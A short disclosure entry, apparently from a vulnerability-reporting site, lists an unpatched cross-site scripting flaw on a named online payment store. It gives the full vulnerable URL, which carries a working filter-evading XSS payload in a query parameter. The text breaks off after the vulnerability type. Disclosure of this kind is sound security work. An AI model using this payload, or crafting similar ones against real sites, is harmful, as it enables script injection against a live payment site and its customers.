secure.onlinepaymentstore.com XSS vulnerability

Vulnerable URL: https://secure.onlinepaymentstore.com/sitemaker/sites/Harvey1/?page=onlinestoreDOMAIN=%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Autofocus/%0D/Onfocus=confirm1//%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS...